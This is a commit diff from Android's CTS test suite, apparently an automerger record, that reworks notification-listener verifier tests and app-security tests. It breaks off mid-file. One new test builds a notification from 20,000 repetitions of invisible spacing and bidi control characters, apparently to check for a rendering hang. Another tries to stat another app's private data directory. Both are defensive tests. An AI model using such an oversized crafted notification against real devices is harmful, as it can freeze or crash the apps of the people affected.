[automerger skipped] DO NOT MERGE: ActivityManager#killBackgroundProcesses can kill caller's own app only am: 818b76359f -s ours

am skip reason: skipped by user jji

Original change: https://googleplex-android-review.googlesource.com/c/platform/cts/+/20306378

Change-Id: Iba9168d5bfb5d25bf04a15426f515e49058df7ae
Signed-off-by: Automerger Merge Worker <android-build-automerger-merge-worker@system.gserviceaccount.com>
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
index 7b9c427..2572b01 100644
--- a/PREUPLOAD.cfg
+++ b/PREUPLOAD.cfg
@@ -36,6 +36,9 @@
                       tests/tests/view/
                       tests/tests/widget/
                       common/device-side/util/
+                      hostsidetests/car/
+                      hostsidetests/multiuser/
+                      hostsidetests/scopedstorage/
                       hostsidetests/stagedinstall/
                       hostsidetests/userspacereboot/
                       tests/tests/packageinstaller/atomicinstall/
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index e60bf6f..c206225 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -2547,19 +2547,6 @@
                        android:resource="@xml/shortcuts" />
         </activity>
 
-        <activity android:name=".notifications.MediaPlayerVerifierActivity"
-                  android:label="@string/qs_media_player_title">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_category"
-                       android:value="@string/test_category_notifications" />
-            <meta-data android:name="test_excluded_features"
-                       android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
-            <meta-data android:name="test_required_configs" android:value="config_quick_settings_supported" />
-        </activity>
-
         <service android:name=".notifications.MockListener"
           android:exported="true"
           android:label="@string/nls_service_name"
diff --git a/apps/CtsVerifier/res/layout/nls_item.xml b/apps/CtsVerifier/res/layout/nls_item.xml
index f1a10bf..e80d333 100644
--- a/apps/CtsVerifier/res/layout/nls_item.xml
+++ b/apps/CtsVerifier/res/layout/nls_item.xml
@@ -14,41 +14,51 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
-    android:layout_height="wrap_content" >
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
 
-    <ImageView
-        android:id="@+id/nls_status"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:layout_alignParentLeft="true"
-        android:layout_alignParentTop="true"
-        android:layout_marginTop="10dip"
-        android:contentDescription="@string/pass_button_text"
-        android:padding="10dip"
-        android:src="@drawable/fs_indeterminate" />
-
-    <TextView
-        android:id="@+id/nls_instructions"
-        style="@style/InstructionsSmallFont"
+    <LinearLayout
         android:layout_width="match_parent"
         android:layout_height="wrap_content"
-        android:layout_alignParentRight="true"
-        android:layout_alignParentTop="true"
-        android:layout_toRightOf="@id/nls_status"
-        android:text="@string/nls_enable_service" />
+        android:orientation="horizontal">
+        <ImageView
+            android:id="@+id/nls_status"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_alignParentLeft="true"
+            android:layout_alignParentTop="true"
+            android:layout_marginTop="10dip"
+            android:contentDescription="@string/pass_button_text"
+            android:padding="10dip"
+            android:src="@drawable/fs_indeterminate" />
+
+        <TextView
+            android:id="@+id/nls_instructions"
+            style="@style/InstructionsSmallFont"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_gravity="center_vertical"
+            android:layout_toRightOf="@id/nls_status"
+            android:text="@string/nls_enable_service" />
+    </LinearLayout>
 
     <Button
         android:id="@+id/nls_action_button"
-        android:layout_width="match_parent"
+        android:layout_width="wrap_content"
         android:layout_height="wrap_content"
-        android:layout_alignParentRight="true"
-        android:layout_below="@id/nls_instructions"
         android:layout_marginLeft="20dip"
         android:layout_marginRight="20dip"
-        android:layout_toRightOf="@id/nls_status"
         android:onClick="actionPressed"
+        android:layout_gravity="center_horizontal"
         android:text="@string/nls_start_settings" />
 
-</RelativeLayout>
\ No newline at end of file
+    <LinearLayout
+        android:id="@+id/feedback"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:visibility="gone" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index efc230c..3884f3c 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -2245,31 +2245,6 @@
         notifications, fully expand the notification display and verify that the \"Person A\"
         notification appears before the "\Non-Person Notification\".
         If this device does not support conversation notifications or does not group them together, press Pass.</string>
-    <string name="qs_media_player_title">QS Media Controls Test</string>
-    <string name="qs_media_player_test">Media Controls Test</string>
-    <string name="qs_media_player_info">This test checks that media controls appear in the
-        Quick Settings shade for applications that post a media style notification.</string>
-    <string name="qs_media_player_song_and_artist">Fully expand Quick Settings and look at the media
-        player controls for the CTS Verifier app.
-        Check that the media player contains the strings "Song" and "Artist".
-    </string>
-    <string name="qs_media_player_album_art">Open Quick Settings and look at the media player
-        controls for the CTS Verifier app.
-        Check that the media player contains a solid yellow image.
-    </string>
-    <string name="qs_media_player_progress_bar">Fully expand Quick Settings and look at the media
-        player controls for the CTS Verifier app.
-        Check that the media player contains a progress bar showing 6 seconds have elapsed of a
-        one minute long track.
-    </string>
-    <string name="qs_media_player_actions">Fully expand Quick Settings and look at the media player
-        controls for the CTS Verifier app.
-        Check that icons appear for rewind, previous track, pause, next track and fast forward.
-    </string>
-    <string name="qs_media_player_output_switcher">Open Quick Settings and look at the media player
-        controls for the CTS Verifier app. Click on the button showing that the media is playing
-        on the phone speaker. Check that the Output Switcher opens.
-    </string>
     <string name="tile_service_name">Tile Service for CTS Verifier</string>
     <string name="tiles_test">Tile Service Test</string>
     <string name="tiles_info">This test checks that a Tile Service added by a third party
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index 4100b81..989f63c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -267,8 +267,8 @@
         return item;
     }
 
-    protected View createAutoItem(ViewGroup parent, int stringId) {
-        View item = mInflater.inflate(R.layout.nls_item, parent, false);
+    protected ViewGroup createAutoItem(ViewGroup parent, int stringId) {
+        ViewGroup item = (ViewGroup) mInflater.inflate(R.layout.nls_item, parent, false);
         TextView instructions = item.findViewById(R.id.nls_instructions);
         instructions.setText(stringId);
         View button = item.findViewById(R.id.nls_action_button);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java
deleted file mode 100644
index fbe0b01..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java
+++ /dev/null
@@ -1,164 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.verifier.notifications;
-
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.content.Context;
-import android.graphics.Bitmap;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.Rect;
-import android.media.MediaMetadata;
-import android.media.session.MediaSession;
-import android.media.session.PlaybackState;
-import android.os.Bundle;
-import android.view.View;
-import android.view.ViewGroup;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Tests for media player shown in quick setting when media style notification is posted.
- */
-public class MediaPlayerVerifierActivity extends InteractiveVerifierActivity {
-
-    // Pieces of the media session.
-    private static final String SESSION_KEY = "Session";
-    private static final String SESSION_TITLE = "Song";
-    private static final String SESSION_ARTIST = "Artist";
-    private static final long SESSION_DURATION = 60000L;
-
-    // Pieces of the media style notification.
-    private static final String TITLE = "Media-style Notification";
-    private static final String TEXT = "Notification for a test media session";
-    private static final String CHANNEL_ID = "MediaPlayerVerifierActivity";
-
-    private MediaSession mSession;
-    private NotificationManager mManager;
-    private Notification.Builder mBuilder;
-
-    @Override
-    public List<InteractiveTestCase> createTestItems() {
-        List<InteractiveTestCase> cases = new ArrayList<>();
-        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_song_and_artist));
-        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_album_art));
-        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_progress_bar));
-        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_actions));
-        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_output_switcher));
-        return cases;
-    }
-
-    @Override
-    public int getInstructionsResource() {
-        return R.string.qs_media_player_info;
-    }
-
-    @Override
-    public int getTitleResource() {
-        return R.string.qs_media_player_test;
-    }
-
-    private class MediaPlayerTestCase extends InteractiveTestCase {
-        private final int mDescriptionResId;
-
-        MediaPlayerTestCase(int resId) {
-            mDescriptionResId = resId;
-        }
-
-        @Override
-        protected void setUp() {
-            postMediaStyleNotification();
-            status = READY;
-        }
-
-        @Override
-        protected void tearDown() {
-            cancelMediaStyleNotification();
-        }
-
-        @Override
-        protected View inflate(ViewGroup parent) {
-            return createPassFailItem(parent, mDescriptionResId);
-        }
-
-        @Override
-        protected void test() {
-            status = WAIT_FOR_USER;
-            next();
-        }
-    }
-
-    private void postMediaStyleNotification() {
-        mManager = this.getSystemService(NotificationManager.class);
-        mSession = new MediaSession(this, SESSION_KEY);
-
-        // create a solid color bitmap to use as album art in media metadata
-        Bitmap bitmap = Bitmap.createBitmap(300, 300, Bitmap.Config.ARGB_8888);
-        new Canvas(bitmap).drawColor(Color.YELLOW);
-
-        // set up media session with metadata and playback state
-        mSession.setMetadata(new MediaMetadata.Builder()
-                .putString(MediaMetadata.METADATA_KEY_ARTIST, SESSION_ARTIST)
-                .putString(MediaMetadata.METADATA_KEY_TITLE, SESSION_TITLE)
-                .putLong(MediaMetadata.METADATA_KEY_DURATION, SESSION_DURATION)
-                .putBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART, bitmap)
-                .build());
-        mSession.setPlaybackState(new PlaybackState.Builder()
-                .setState(PlaybackState.STATE_PAUSED, 6000L, 1f)
-                .setActions(PlaybackState.ACTION_SEEK_TO | PlaybackState.ACTION_PLAY |
-                        PlaybackState.ACTION_PAUSE)
-                .build());
-
-        // set up notification builder
-        NotificationChannel channel = new NotificationChannel(CHANNEL_ID, CHANNEL_ID,
-                NotificationManager.IMPORTANCE_LOW);
-        mManager.createNotificationChannel(channel);
-        mBuilder = new Notification.Builder(this, CHANNEL_ID)
-                .setContentTitle(TITLE).setContentText(TEXT)
-                .setSmallIcon(R.drawable.ic_android)
-                .setStyle(new Notification.MediaStyle()
-                        .setShowActionsInCompactView(1, 2, 3)
-                        .setMediaSession(mSession.getSessionToken()))
-                .setColor(Color.BLUE)
-                .setColorized(true)
-                .addAction(android.R.drawable.ic_media_rew, "rewind", null)
-                .addAction(android.R.drawable.ic_media_previous, "previous track", null)
-                .addAction(android.R.drawable.ic_media_pause, "pause", null)
-                .addAction(android.R.drawable.ic_media_next, "next track", null)
-                .addAction(android.R.drawable.ic_media_ff, "fast forward", null);
-
-        mSession.setActive(true);
-        mManager.notify(1, mBuilder.build());
-    }
-
-    private void cancelMediaStyleNotification() {
-        if (mSession != null) {
-            mSession.release();
-            mSession = null;
-        }
-        if (mManager != null) {
-            mManager.cancelAll();
-            mManager.deleteNotificationChannel(CHANNEL_ID);
-            mManager = null;
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
index 12e2b93..31980af 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
@@ -51,7 +51,7 @@
     public static final String JSON_STATS = "stats";
     public static final String JSON_LAST_AUDIBLY_ALERTED = "last_audibly_alerted";
 
-    ArrayList<String> mPosted = new ArrayList<String>();
+    ArrayList<StatusBarNotification> mPosted = new ArrayList<>();
     ArrayMap<String, JSONObject> mNotifications = new ArrayMap<>();
     ArrayMap<String, String> mNotificationKeys = new ArrayMap<>();
     ArrayList<String> mRemoved = new ArrayList<String>();
@@ -77,6 +77,15 @@
         return mNotifications.values();
     }
 
+    protected StatusBarNotification getPosted(String tag) {
+        for (StatusBarNotification sbn : mPosted) {
+            if (sbn.getTag().equals(tag)) {
+                return sbn;
+            }
+        }
+        return null;
+    }
+
     protected String getKeyForTag(String tag) {
         return mNotificationKeys.get(tag);
     }
@@ -149,7 +158,7 @@
     public void onNotificationPosted(StatusBarNotification sbn, RankingMap rankingMap) {
         if (!mTestPackages.contains(sbn.getPackageName())) { return; }
         Log.d(TAG, "posted: " + sbn.getTag());
-        mPosted.add(sbn.getTag());
+        mPosted.add(sbn);
         mPostedNotifications.add(sbn.getNotification());
         JSONObject notification = new JSONObject();
         try {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 42ee9e1..1d704b0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -56,6 +56,8 @@
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.Button;
+import android.widget.FrameLayout;
+import android.widget.RemoteViews;
 
 import androidx.core.app.NotificationCompat;
 
@@ -117,6 +119,7 @@
         tests.add(new IsEnabledTest());
         tests.add(new ServiceStartedTest());
         tests.add(new NotificationReceivedTest());
+        tests.add(new LongMessageTest());
         tests.add(new DataIntactTest());
         tests.add(new AudiblyAlertedTest());
         tests.add(new DismissOneTest());
@@ -261,8 +264,73 @@
 
         @Override
         protected void test() {
-            List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
-            if (result.size() > 0 && result.contains(mTag1)) {
+            if (MockListener.getInstance().getPosted(mTag1) != null) {
+                status = PASS;
+            } else {
+                logFail();
+                status = FAIL;
+            }
+        }
+    }
+
+    private class LongMessageTest extends InteractiveTestCase {
+        private ViewGroup mParent;
+        @Override
+        protected View inflate(ViewGroup parent) {
+            mParent = createAutoItem(parent, R.string.nls_anr);
+            return mParent;
+        }
+
+        @Override
+        protected void setUp() {
+            createChannels();
+            StringBuilder sb = new StringBuilder();
+            for (int i = 0; i < 20000; i++) {
+                sb.append("\u2009\u200a" + "\u200E\u200F" + "stuff");
+            }
+            Notification.Builder builder = new Notification.Builder(
+                    mContext, NOTIFICATION_CHANNEL_ID)
+                    .setSmallIcon(android.R.id.icon)
+                    .setContentTitle("This is an long notification")
+                    .setContentText("Innocuous content")
+                    .setStyle(new Notification.MessagingStyle("Fake person")
+                            .addMessage("hey how is it goin", 0, "Person 1")
+                            .addMessage("hey", 0, "Person 1")
+                            .addMessage("u there", 0, "Person 1")
+                            .addMessage("how you like tHIS", 0, "Person 1")
+                            .addMessage(sb.toString(), 0, "Person 1")
+                    );
+            mTag1 = UUID.randomUUID().toString();
+            mId1 = NOTIFICATION_ID + 1;
+            mPackageString = "com.android.cts.verifier";
+            mNm.notify(mTag1, mId1, builder.build());
+            status = READY;
+        }
+
+        @Override
+        protected void tearDown() {
+            mNm.cancelAll();
+            MockListener.getInstance().resetData();
+            deleteChannels();
+        }
+
+        @Override
+        protected void test() {
+            StatusBarNotification sbn = MockListener.getInstance().getPosted(mTag1);
+            if (sbn == null) {
+                logFail();
+                status = FAIL;
+            } else {
+                ViewGroup parent = mParent.findViewById(R.id.feedback);
+                parent.setVisibility(View.VISIBLE);
+                final Notification.Builder recoveredBuilder = Notification.Builder.recoverBuilder(
+                        NotificationListenerVerifierActivity.this,
+                        sbn.getNotification());
+                RemoteViews rv = recoveredBuilder.createContentView();
+                View v = rv.apply(NotificationListenerVerifierActivity.this, parent);
+                parent.addView(v);
+            }
+            if (MockListener.getInstance().getPosted(mTag1) != null) {
                 status = PASS;
             } else {
                 logFail();
@@ -985,8 +1053,7 @@
             if (MockListener.getInstance() == null) {
                 status = PASS;
             } else {
-                List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
-                if (result.size() == 0) {
+                if (MockListener.getInstance().mPosted.size() == 0) {
                     status = PASS;
                 } else {
                     logFail();
@@ -1157,8 +1224,7 @@
                     state = READY_TO_CHECK_FOR_UNSNOOZE;
                 }
             } else {
-                List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
-                if (result.size() > 0 && result.contains(mTag1)) {
+                if (MockListener.getInstance().getPosted(mTag1) != null) {
                     status = PASS;
                 } else {
                     logFail();
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
index 14f8285..03d4a50 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
@@ -197,4 +197,12 @@
     public static String getSecureSetting(String key) {
         return SystemUtil.runShellCommand("settings --user current get secure " + key).trim();
     }
+
+    /**
+     * Get a global setting for the given user. Trims ending new line.
+     */
+    public static String getSecureSettingAsUser(int userId, String key) {
+        return SystemUtil.runShellCommand(
+                String.format("settings --user %d get secure %s", userId, key)).trim();
+    }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UserUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UserUtils.java
new file mode 100644
index 0000000..198e602
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UserUtils.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.os.SystemProperties;
+
+/**
+ * Provides utilities to deal with user status.
+ */
+public final class UserUtils {
+
+    private static final String TAG = UserUtils.class.getSimpleName();
+    private static final String SYS_PROP_HEADLESS_SYSTEM_USER = "ro.fw.mu.headless_system_user";
+
+    private UserUtils() {
+        throw new AssertionError("Should not be instantiated");
+    }
+
+    /**
+     * Tells if the device is in headless system user mode.
+     */
+    public static boolean isHeadlessSystemUserMode() {
+        return SystemProperties.getBoolean(SYS_PROP_HEADLESS_SYSTEM_USER, false);
+    }
+}
diff --git a/hostsidetests/appsecurity/Android.bp b/hostsidetests/appsecurity/Android.bp
index 3a569db..a8f2e9f 100644
--- a/hostsidetests/appsecurity/Android.bp
+++ b/hostsidetests/appsecurity/Android.bp
@@ -25,6 +25,7 @@
         "compatibility-host-util",
         "truth-prebuilt",
         "hamcrest-library",
+        "sts-host-util",
     ],
 
     static_libs: [
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
index e86aa57..2e182eb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
@@ -21,7 +21,7 @@
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 
 import static org.junit.Assert.assertNull;
 import static org.junit.Assume.assumeTrue;
@@ -30,7 +30,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class RoleSecurityTest extends BaseHostJUnit4Test {
+public class RoleSecurityTest extends StsExtraBusinessLogicHostTestBase {
     private static final String ROLE_SECURITY_TEST_APP_APK = "CtsRoleSecurityTestApp.apk";
     private static final String ROLE_SECURITY_TEST_APP_PACKAGE = "com.android.cts.rolesecuritytest";
 
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
index fdbb439..20be1a7 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
@@ -23,6 +23,11 @@
     created by com.android.cts.appwithdata.
     -->
 
+    <!--
+    We want to test without app data isolation, which comes with targetSdk 30.
+    -->
+    <uses-sdk android:targetSdkVersion="29" />
+
     <uses-permission android:name="android.permission.INTERNET"/>
 
     <application>
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java b/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
index b1f804e..74d754d 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
@@ -20,6 +20,7 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.fail;
 
+import android.content.Context;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.PackageManager.NameNotFoundException;
@@ -28,10 +29,14 @@
 import android.os.Bundle;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -45,6 +50,9 @@
 /**
  * Test that another app's private data cannot be accessed, while its public data can.
  *
+ * These tests are for apps targeting SDK 29 (or lower). Tests for the behavior for apps targeting
+ * SDK 30+ are in {@code AppDataIsolationTests}.
+ *
  * Assumes that {@link #APP_WITH_DATA_PKG} has already created the private and public data.
  */
 @RunWith(AndroidJUnit4.class)
@@ -70,10 +78,15 @@
 
     private static final Uri PRIVATE_TARGET = Uri.parse("content://com.android.cts.appwithdata/");
 
+    private Context mContext;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getContext();
+    }
+
     /**
-     * Tests that another app's private data cannot be accessed. It includes file
-     * and detailed traffic stats.
-     * @throws IOException
+     * Tests that another app's private data cannot be accessed.
      */
     @Test
     public void testAccessPrivateData() throws IOException {
@@ -90,17 +103,8 @@
         }
     }
 
-    private ApplicationInfo getApplicationInfo(String packageName) {
-        try {
-            return InstrumentationRegistry.getContext().getPackageManager().getApplicationInfo(packageName, 0);
-        } catch (PackageManager.NameNotFoundException e) {
-            throw new IllegalStateException("Expected package not found: " + e);
-        }
-    }
-
     /**
-     * Tests that another app's public file can be accessed
-     * @throws IOException
+     * Tests that another app's public file cannot be accessed
      */
     @Test
     public void testAccessPublicData() throws IOException {
@@ -117,6 +121,21 @@
         }
     }
 
+    /**
+     * Tests that we can't even access another app's root private data dir.
+     */
+    @Test
+    public void testStatPrivateDataDir() {
+        ApplicationInfo applicationInfo = getApplicationInfo(APP_WITH_DATA_PKG);
+        String path = applicationInfo.dataDir;
+        try {
+            Os.stat(path);
+            fail("Was able to stat() another app's private data dir: " + path);
+        } catch (ErrnoException expected) {
+            assertEquals(path, OsConstants.EACCES, expected.errno);
+        }
+    }
+
     @Test
     public void testAccessProcQtaguidTrafficStatsFailed() {
         // For untrusted app with SDK P or above, proc/net/xt_qtaguid files are no long readable.
@@ -130,7 +149,7 @@
     public void testAccessPrivateTrafficStats() {
         int otherAppUid = -1;
         try {
-            otherAppUid = InstrumentationRegistry.getContext()
+            otherAppUid = mContext
                     .createPackageContext(APP_WITH_DATA_PKG, 0 /*flags*/)
                     .getApplicationInfo().uid;
         } catch (NameNotFoundException e) {
@@ -159,7 +178,7 @@
         final long txp = TrafficStats.getUidTxPackets(uid);
 
         // Start remote server
-        final int port = InstrumentationRegistry.getContext().getContentResolver().call(PRIVATE_TARGET, "start", null, null)
+        final int port = mContext.getContentResolver().call(PRIVATE_TARGET, "start", null, null)
                 .getInt("port");
 
         // Try talking to them, but shift blame
@@ -169,7 +188,7 @@
 
             Bundle extras = new Bundle();
             extras.putParcelable("fd", ParcelFileDescriptor.fromSocket(socket));
-            InstrumentationRegistry.getContext().getContentResolver().call(PRIVATE_TARGET, "tag", null, extras);
+            mContext.getContentResolver().call(PRIVATE_TARGET, "tag", null, extras);
 
             socket.connect(new InetSocketAddress("localhost", port));
 
@@ -181,7 +200,7 @@
         } catch (IOException e) {
             throw new RuntimeException(e);
         } finally {
-            InstrumentationRegistry.getContext().getContentResolver().call(PRIVATE_TARGET, "stop", null, null);
+            mContext.getContentResolver().call(PRIVATE_TARGET, "stop", null, null);
         }
 
         SystemClock.sleep(1000);
@@ -192,4 +211,12 @@
         assertEquals(txb, TrafficStats.getUidTxBytes(uid));
         assertEquals(txp, TrafficStats.getUidTxPackets(uid));
     }
+
+    private ApplicationInfo getApplicationInfo(String packageName) {
+        try {
+            return mContext.getPackageManager().getApplicationInfo(packageName, 0);
+        } catch (PackageManager.NameNotFoundException e) {
+            throw new IllegalStateException("Expected package not found: " + e);
+        }
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
index cf85210..ea8a824 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
@@ -23,6 +23,12 @@
     access.
     -->
 
+    <!--
+    We want to test without app data isolation, which comes with targetSdk 30.
+    -->
+    <uses-sdk android:targetSdkVersion="29" />
+
+
     <uses-permission android:name="android.permission.INTERNET" />
 
     <application>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
index ae3ff05..474df01 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
@@ -53,7 +53,14 @@
             </intent-filter>
         </activity>
 
-        <activity android:name=".CrossProfileSameTaskLauncherActivity" android:exported="true"/>
+        <activity android:name=".CrossProfileSameTaskLauncherActivity"
+             android:exported="true"/>
+
+        <activity android:name=".CrossProfileResultCheckerActivity"
+             android:exported="true"/>
+
+        <activity android:name=".CrossProfileResultReturnerActivity"
+             android:exported="true"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/cross_profile_result_checker.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/cross_profile_result_checker.xml
new file mode 100644
index 0000000..5689f32
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/cross_profile_result_checker.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent">
+
+    <TextView
+        android:id="@+id/cross_profile_result_checker_result"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+    />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
index 6b41018..7332521 100644
